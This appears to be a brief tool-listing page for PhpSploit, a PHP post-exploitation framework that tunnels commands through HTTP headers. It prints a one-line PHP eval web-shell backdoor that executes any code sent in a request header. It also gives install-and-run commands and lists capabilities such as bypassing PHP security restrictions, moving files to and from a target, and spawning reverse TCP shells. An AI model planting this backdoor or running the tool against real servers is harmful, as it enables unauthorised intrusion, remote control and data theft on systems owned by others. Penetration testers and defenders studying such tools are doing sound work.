Overview

The obfuscated communication is accomplished using HTTP headers under standard client requests and web server's relative responses, tunneled through a tiny polymorphic backdoor:

root@kitploit:~
<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>

Quick Start

root@kitploit:~
git clone https://github.com/nil0x42/phpsploit
cd phpsploit/
pip3 install -r requirements.txt
./phpsploit --interactive --eval "help help"

Features

    • Run commands and browse filesystem, bypassing PHP security restrictions
    • Upload/Download files between client and target
    • Edit remote files through local text editor
    • Run SQL console on target system
    • Spawn reverse TCP shells
